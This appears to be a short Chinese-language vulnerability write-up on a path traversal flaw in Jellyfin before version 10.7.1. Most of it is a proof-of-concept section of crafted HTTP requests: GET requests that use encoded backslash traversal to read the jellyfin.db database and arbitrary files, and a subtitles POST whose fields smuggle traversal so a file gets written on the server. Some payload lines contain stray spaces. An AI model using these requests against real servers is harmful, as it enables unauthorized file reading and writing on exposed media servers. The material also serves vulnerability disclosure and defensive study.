目录
简介:
Jellyfin 是一个免费软件媒体系统。在 10.7.1 版之前的 Jellyfin 中,带有某些终结点的精心设计的请求将允许从 Jellyfin 服务器的文件系统中读取任意文件。当 Windows 用作主机 OS 时,此问题更加普遍。暴露于公共 Internet 的服务器可能会受到威胁。在版本 10.7.1
中已修复此问题。解决方法是,用户可以通过在文件系统上实施严格的安全权限来限制某些 访问,但是建议尽快进行更新。
影响版本:
Jellyfin<10.7.1
复现:
Poc GET /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/ HTTP/1.1
GET /Videos/anything/hls/m/..%5Cdata%5Cjellyfin.db HTTP/1.1
GET /Videos/anything/hls/..%5Cdata%5Cjellyfin.db/stream.m3u8/?api_key=4c5750626 da14b0a804977b09bf3d8f7 HTTP/1.1
GET /Images/Ratings/c:%5ctemp/filename HTTP/1.1
GET /Images/Ratings/..%5c..%5 c..%5c..%5c..%5c..%5c..%5c..%5c..%5ctemp/filename HTTP/1.1
POST /Videos/d7634eb0064cce760f3f0bf8282c16cd/Subtitles HTTP/1.1
...
X-Emby-Authorization: MediaBrowser DeviceId="...", Version="10.7.0", Token="... "
...
{"language":".\\..\\","format":".\\..\\test.bin","isForced":false,"data":"base6 4 encoded data"}